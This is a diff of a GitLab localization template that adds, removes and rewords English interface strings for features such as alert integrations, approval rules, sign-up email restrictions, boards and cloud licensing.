+msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
+msgstr ""
+
+msgid "AdminSettings|You should migrate to %{doc_link_start}Project integration management%{link_end}, available at %{settings_link_start}Settings &gt; Integrations.%{link_end}"
msgstr ""
msgid "AdminStatistics|Active Users"
@@ -2333,7 +2378,7 @@ msgstr ""
msgid "AdminStatistics|Issues"
msgstr ""
-msgid "AdminStatistics|Merge Requests"
+msgid "AdminStatistics|Merge requests"
msgstr ""
msgid "AdminStatistics|Milestones"
@@ -2672,6 +2717,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2719,6 +2770,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2881,6 +2935,9 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A webhook URL and authorization key is generated for the integration. After you save the integration, both are visible under the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2896,43 +2953,52 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
+msgid "AlertSettings|Enable integration"
+msgstr ""
+
+msgid "AlertSettings|Enter an example payload from your selected monitoring tool. This supports sending alerts to a GitLab endpoint."
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Free versions of GitLab are limited to one integration per type. To add more, %{linkStart}upgrade your subscription%{linkEnd}."
+msgstr ""
+
+msgid "AlertSettings|GitLab has created a URL and authorization key for your integration. You can use them to set up a webhook and authorize your endpoint to send alerts to GitLab."
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgid "AlertSettings|If you edit the payload, you must re-map the fields again."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you reset the authorization key for this project, you must update the key in every enabled alert source."
msgstr ""
-msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
+msgid "AlertSettings|Integration successfully saved"
msgstr ""
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
-msgstr ""
-
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Reset Key"
@@ -2941,34 +3007,46 @@ msgstr ""
msgid "AlertSettings|Reset the mapping"
msgstr ""
-msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Save & create test alert"
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Save integration"
+msgid "AlertSettings|Save integration & send"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Send test alert"
msgstr ""
-msgid "AlertSettings|Send test alert"
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
+msgid "AlertSettings|To create a custom mapping, enter an example payload from your monitoring tool, in JSON format. Select the \"Parse payload fields\" button to continue."
msgstr ""
-msgid "AlertSettings|URL cannot be blank and must start with http or https"
+msgid "AlertSettings|URL cannot be blank and must start with http: or https:."
msgstr ""
-msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgid "AlertSettings|Use the URL and authorization key below to configure how Prometheus sends alerts to GitLab. Review the %{linkStart}GitLab documentation%{linkEnd} to learn how to configure your endpoint."
msgstr ""
-msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgid "AlertSettings|Use the URL and authorization key below to configure how an external service sends alerts to GitLab. %{linkStart}How do I configure the endpoint?%{linkEnd}"
+msgstr ""
+
+msgid "AlertSettings|View URL and authorization key"
msgstr ""
msgid "AlertSettings|View credentials"
@@ -2977,10 +3055,10 @@ msgstr ""
msgid "AlertSettings|Webhook URL"
msgstr ""
-msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
+msgid "AlertSettings|You can map default GitLab alert fields to your payload keys in the dropdowns below."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
+msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
@@ -2998,13 +3076,16 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
+msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
+msgstr ""
+
msgid "AlertsIntegrations|Integration Name"
msgstr ""
msgid "AlertsIntegrations|Integration payload is invalid."
msgstr ""
-msgid "AlertsIntegrations|No integrations have been added yet"
+msgid "AlertsIntegrations|No integrations have been added yet."
msgstr ""
msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
@@ -3016,19 +3097,19 @@ msgstr ""
msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully removed."
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration is deleted."
msgstr ""
-msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgid "AlertsIntegrations|The integration is saved."
msgstr ""
-msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
msgstr ""
-msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
+msgid "AlertsIntegrations|The test alert should now be visible in your alerts list."
msgstr ""
msgid "Algorithm"
@@ -3109,9 +3190,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3169,10 +3247,10 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
-msgid "Allowed domains for sign-ups"
+msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
-msgid "Allowed email domain restriction only permitted for top-level groups"
+msgid "Allowed group"
msgstr ""
msgid "Allowed to create:"
@@ -3196,12 +3274,18 @@ msgstr ""
msgid "Already blocked"
msgstr ""
+msgid "Already have login and password?"
+msgstr ""
+
msgid "Also called \"Issuer\" or \"Relying party trust identifier\""
msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3247,9 +3331,6 @@ msgstr ""
msgid "An application called %{link_to_client} is requesting access to your GitLab account."
msgstr ""
-msgid "An assignee list displays issues assigned to the selected user"
-msgstr ""
-
msgid "An email notification was recently sent from the admin panel. Please wait %{wait_time_in_words} before attempting to send another message."
msgstr ""
@@ -3262,6 +3343,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3295,10 +3379,10 @@ msgstr ""
msgid "An error occurred when updating the issue due date"
msgstr ""
-msgid "An error occurred when updating the issue title"
+msgid "An error occurred when updating the issue weight"
msgstr ""
-msgid "An error occurred when updating the issue weight"
+msgid "An error occurred when updating the title"
msgstr ""
msgid "An error occurred while acknowledging the notification. Refresh the page and try again."
@@ -3400,9 +3484,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3493,6 +3574,9 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
+msgid "An error occurred while loading the file. Please try again."
+msgstr ""
+
msgid "An error occurred while loading the merge request changes."
msgstr ""
@@ -3571,7 +3655,7 @@ msgstr ""
msgid "An error occurred while trying to generate the report. Please try again later."
msgstr ""
-msgid "An error occurred while trying to run a new pipeline for this Merge Request."
+msgid "An error occurred while trying to run a new pipeline for this merge request."
msgstr ""
msgid "An error occurred while unsubscribing to notifications."
@@ -3622,19 +3706,13 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
-msgid "An instance-level serverless domain already exists."
-msgstr ""
-
-msgid "An issue already exists"
-msgstr ""
-
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
+msgid "An extendable open source CI/CD server."
msgstr ""
-msgid "An issue title is required"
+msgid "An instance-level serverless domain already exists."
msgstr ""
-msgid "An iteration list displays issues in the selected iteration."
+msgid "An issue already exists"
msgstr ""
msgid "An unauthenticated user"
@@ -3676,6 +3754,9 @@ msgstr ""
msgid "Analyze your source code for known vulnerabilities."
msgstr ""
+msgid "Analyzing file…"
+msgstr ""
+
msgid "Ancestors"
msgstr ""
@@ -3775,6 +3856,96 @@ msgstr ""
msgid "Application: %{name}"
msgstr ""
+msgid "ApplicationSettings|After sign up text"
+msgstr ""
+
+msgid "ApplicationSettings|Allowed domains for sign-ups"
+msgstr ""
+
+msgid "ApplicationSettings|Approve all users in the pending approval status?"
+msgstr ""
+
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
+msgid "ApplicationSettings|Denied domains for sign-ups"
+msgstr ""
+
+msgid "ApplicationSettings|Denylist file"
+msgstr ""
+
+msgid "ApplicationSettings|Domain denylist"
+msgstr ""
+
+msgid "ApplicationSettings|Email restrictions"
+msgstr ""
+
+msgid "ApplicationSettings|Email restrictions for sign-ups"
+msgstr ""
+
+msgid "ApplicationSettings|Enable domain denylist for sign ups"
+msgstr ""
+
+msgid "ApplicationSettings|Enable email restrictions for sign ups"
+msgstr ""
+
+msgid "ApplicationSettings|Enter denylist manually"
+msgstr ""
+
+msgid "ApplicationSettings|Markdown enabled"
+msgstr ""
+
+msgid "ApplicationSettings|Minimum password length (number of characters)"
+msgstr ""
+
+msgid "ApplicationSettings|ONLY users with e-mail addresses that match these domain(s) will be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com"
+msgstr ""
+
+msgid "ApplicationSettings|Once the instance reaches the user cap, any user who is added or requests access will have to be approved by an admin. Leave the field empty for unlimited."
+msgstr ""
+
+msgid "ApplicationSettings|Require admin approval for new sign-ups"
+msgstr ""
+
+msgid "ApplicationSettings|Restricts sign-ups for email addresses that match the given regex. See the %{linkStart}supported syntax%{linkEnd} for more information."
+msgstr ""
+
+msgid "ApplicationSettings|Save changes"
+msgstr ""
+
+msgid "ApplicationSettings|See GitLab's %{linkStart}Password Policy Guidelines%{linkEnd}"
+msgstr ""
+
+msgid "ApplicationSettings|Send confirmation email on sign-up"
+msgstr ""
+
+msgid "ApplicationSettings|Sign-up enabled"
+msgstr ""
+
+msgid "ApplicationSettings|Upload denylist file"
+msgstr ""
+
+msgid "ApplicationSettings|User cap"
+msgstr ""
+
+msgid "ApplicationSettings|Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines for multiple entries. Ex: domain.com, *.domain.com"
+msgstr ""
+
+msgid "ApplicationSettings|Users with e-mail addresses that match these domain(s) will NOT be able to sign-up. Wildcards allowed. Use separate lines or commas for multiple entries."
+msgstr ""
+
+msgid "ApplicationSettings|When enabled, any user visiting %{host} and creating an account will have to be explicitly approved by an admin before they can sign in. This setting is effective only if sign-ups are enabled."
+msgstr ""
+
+msgid "ApplicationSettings|When enabled, any user visiting %{host} will be able to create an account."
+msgstr ""
+
+msgid "ApplicationSettings|domain.com"
+msgstr ""
+
msgid "Applications"
msgstr ""
@@ -3826,6 +3997,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval Gate"
+msgstr ""
+
msgid "Approval Status"
msgstr ""
@@ -3835,6 +4009,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3845,6 +4022,15 @@ msgid_plural "ApprovalRuleRemove|Approvals from these members are not revoked."
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRuleRemove|Remove approval gate"
+msgstr ""
+
+msgid "ApprovalRuleRemove|Remove approval gate?"
+msgstr ""
+
+msgid "ApprovalRuleRemove|You are about to remove the %{name} approval gate. Approval from this service is not revoked."
+msgstr ""
+
msgid "ApprovalRuleRemove|You are about to remove the %{name} approver group which has %{nMembers}."
msgstr ""
@@ -3858,21 +4044,36 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvel gate"
+msgstr ""
+
msgid "ApprovalRule|Add approvers"
msgstr ""
msgid "ApprovalRule|Approval rules"
msgstr ""
+msgid "ApprovalRule|Approval service API"
+msgstr ""
+
msgid "ApprovalRule|Approvals required"
msgstr ""
+msgid "ApprovalRule|Approvel gate"
+msgstr ""
+
+msgid "ApprovalRule|Approver Type"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
msgid "ApprovalRule|Examples: QA, Security."
msgstr ""
+msgid "ApprovalRule|Invoke an external API as part of the approvals"
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3882,6 +4083,9 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
+msgid "ApprovalRule|Users or groups"
+msgstr ""
+
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4127,24 +4331,30 @@ msgstr ""
msgid "Artifacts"
msgstr ""
+msgid "Artifacts maximum size"
+msgstr ""
+
msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
msgstr ""
+msgid "Ask again later"
+msgstr ""
+
msgid "Ask your group maintainer to set up a group runner."
msgstr ""
@@ -4205,7 +4415,7 @@ msgstr ""
msgid "Assigned Issues"
msgstr ""
-msgid "Assigned Merge Requests"
+msgid "Assigned merge requests"
msgstr ""
msgid "Assigned projects"
@@ -4276,6 +4486,9 @@ msgstr ""
msgid "Attach a file by drag &amp; drop or %{upload_link}"
msgstr ""
+msgid "Attaching File - %{progress}"
+msgstr ""
+
msgid "Attaching a file"
msgid_plural "Attaching %d files"
msgstr[0] ""
@@ -4347,9 +4560,15 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API rate limit period in seconds"
+msgstr ""
+
msgid "Authenticated API request rate limit"
msgstr ""
+msgid "Authenticated web rate limit period in seconds"
+msgstr ""
+
msgid "Authenticated web request rate limit"
msgstr ""
@@ -4404,6 +4623,9 @@ msgstr ""
msgid "Authorization required"
msgstr ""
+msgid "Authorization token duration (minutes)"
+msgstr ""
+
msgid "Authorization was granted by entering your username and password in the application."
msgstr ""
@@ -4566,9 +4788,18 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "Award added"
+msgstr ""
+
+msgid "Award removed"
+msgstr ""
+
msgid "AwardEmoji|No emojis found."
msgstr ""
+msgid "Back"
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4662,22 +4893,25 @@ msgstr ""
msgid "Balsamiq file could not be loaded."
msgstr ""
-msgid "BambooService|A continuous integration and build server"
+msgid "BambooService|Atlassian Bamboo"
msgstr ""
-msgid "BambooService|A user with API access, if applicable"
+msgid "BambooService|Bamboo URL"
msgstr ""
-msgid "BambooService|Atlassian Bamboo CI"
+msgid "BambooService|Bamboo build plan key."
msgstr ""
-msgid "BambooService|Bamboo build plan key like KEY"
+msgid "BambooService|Bamboo service root URL."
msgstr ""
-msgid "BambooService|Bamboo root URL like https://bamboo.example.com"
+msgid "BambooService|The user with API access to the Bamboo server."
msgstr ""
-msgid "BambooService|You must set up automatic revision labeling and a repository trigger in Bamboo."
+msgid "BambooService|Use Atlassian Bamboo to run CI/CD pipelines. You must set up automatic revision labeling and a repository trigger in Bamboo. %{docs_link}"
+msgstr ""
+
+msgid "BambooService|Use the Atlassian Bamboo CI/CD server with GitLab."
msgstr ""
msgid "Based on"
@@ -4689,15 +4923,24 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before inserting code, be sure to read the comment that separated each code group."
+msgstr ""
+
msgid "Before this can be merged, a Jira issue must be linked in the title or description"
msgstr ""
msgid "Begin with the selected commit"
msgstr ""
+msgid "Below are the current settings regarding"
+msgstr ""
+
msgid "Below are the fingerprints for the current instance SSH host keys."
msgstr ""
+msgid "Below are the settings for %{link_to_gitlab_pages}."
+msgstr ""
+
msgid "Below you will find all the groups that are public."
msgstr ""
@@ -4716,7 +4959,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4850,6 +5093,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4880,6 +5126,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4889,9 +5140,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4922,6 +5170,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4934,6 +5187,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4964,6 +5226,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5072,9 +5337,6 @@ msgstr ""
msgid "Branches|Show stale branches"
msgstr ""
-msgid "Branches|Sort by"
-msgstr ""
-
msgid "Branches|Stale"
msgstr ""
@@ -5129,6 +5391,9 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "Broadcast messages are displayed for every user and can be used to notify users about scheduled maintenance, recent upgrades and more."
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -5210,9 +5475,6 @@ msgstr ""
msgid "Burndown chart"
msgstr ""
-msgid "Burndown charts are now fixed. This means that removing issues from a milestone after it has expired won't affect the chart. You can view the old chart using the %{strongStart}Legacy burndown chart%{strongEnd} button."
-msgstr ""
-
msgid "BurndownChartLabel|Open issue weight"
msgstr ""
@@ -5494,12 +5756,18 @@ msgstr ""
msgid "Cancel this job"
msgstr ""
+msgid "Cancel your account"
+msgstr ""
+
msgid "Cancel, keep project"
msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5563,6 +5831,27 @@ msgstr ""
msgid "Capacity threshold"
msgstr ""
+msgid "CascadingSettings|Enforce for all subgroups"
+msgstr ""
+
+msgid "CascadingSettings|Setting enforced"
+msgstr ""
+
+msgid "CascadingSettings|Subgroups cannot change this setting."
+msgstr ""
+
+msgid "CascadingSettings|This setting has been enforced by an instance admin."
+msgstr ""
+
+msgid "CascadingSettings|This setting has been enforced by an owner of %{link}."
+msgstr ""
+
+msgid "CascadingSettings|cannot be changed because it is locked by an ancestor"
+msgstr ""
+
+msgid "CascadingSettings|cannot be nil when locking the attribute"
+msgstr ""
+
msgid "Certain user content will be moved to a system-wide \"Ghost User\" in order to maintain content for posterity. For further information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
msgstr ""
@@ -5620,6 +5909,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5719,9 +6011,6 @@ msgstr ""
msgid "Changing group URL can have unintended side effects."
msgstr ""
-msgid "Channel handle (e.g. town-square)"
-msgstr ""
-
msgid "Charts can't be displayed as the request for data has timed out. %{documentationLink}"
msgstr ""
@@ -5785,6 +6074,9 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
+msgid "Check the current instance configuration "
+msgstr ""
+
msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
msgstr ""
@@ -5974,6 +6266,9 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
+msgid "Choose File..."
+msgstr ""
+
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -6250,6 +6545,9 @@ msgstr ""
msgid "Click the button below."
msgstr ""
+msgid "Click the link below to confirm your email address."
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -6313,6 +6611,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6346,19 +6647,46 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud License"
+msgid "CloudLicense|Activate"
msgstr ""
-msgid "CloudLicense|Activate"
+msgid "CloudLicense|Activate subscription"
+msgstr ""
+
+msgid "CloudLicense|Activation code"
+msgstr ""
+
+msgid "CloudLicense|Billable users"
+msgstr ""
+
+msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
+msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
+msgid "CloudLicense|Maximum users"
msgstr ""
msgid "CloudLicense|Paste your activation code"
msgstr ""
-msgid "CloudLicense|Paste your activation code below"
+msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "CloudLicense|This instance is currently using the Core plan."
+msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "CloudLicense|Users in subscription"
+msgstr ""
+
+msgid "CloudLicense|Users over subscription"
+msgstr ""
+
+msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
+msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "Cluster"
@@ -6394,9 +6722,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6415,12 +6740,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6559,6 +6893,9 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
+msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
+msgstr ""
+
msgid "ClusterIntegration|Blocking mode"
msgstr ""
@@ -6724,6 +7061,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Prometheus integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable or disable GitLab's connection to your Kubernetes cluster."
msgstr ""
@@ -6835,7 +7175,7 @@ msgstr ""
msgid "ClusterIntegration|If you do not wish to delete all associated GitLab resources, you can simply remove the integration."
msgstr ""
-msgid "ClusterIntegration|In order to view the health of your cluster, you must first install Prometheus in the Applications tab."
+msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
msgid "ClusterIntegration|Ingress"
@@ -6862,6 +7202,15 @@ msgstr ""
msgid "ClusterIntegration|Integrate with a cluster certificate"
msgstr ""
+msgid "ClusterIntegration|Integration disabled"
+msgstr ""
+
+msgid "ClusterIntegration|Integration enabled"
+msgstr ""
+
+msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgstr ""
+
msgid "ClusterIntegration|Issuer Email"
msgstr ""
@@ -7489,6 +7838,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code snippet copied. Insert it in the correct location in the YAML file."
+msgstr ""
+
msgid "CodeIntelligence|This is the definition"
msgstr ""
@@ -7546,6 +7898,9 @@ msgstr ""
msgid "ComboSearch is not defined"
msgstr ""
+msgid "Comma-separated list of email addresses."
+msgstr ""
+
msgid "Comma-separated, e.g. '1.1.1.1, 2.2.2.0/24'"
msgstr ""
@@ -7680,6 +8035,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7692,6 +8050,9 @@ msgstr ""
msgid "Compare Git revisions"
msgstr ""
+msgid "Compare GitLab editions"
+msgstr ""
+
msgid "Compare Revisions"
msgstr ""
@@ -7737,12 +8098,18 @@ msgstr ""
msgid "CompareRevisions|Select target project"
msgstr ""
+msgid "CompareRevisions|Swap revisions"
+msgstr ""
+
msgid "CompareRevisions|Tags"
msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
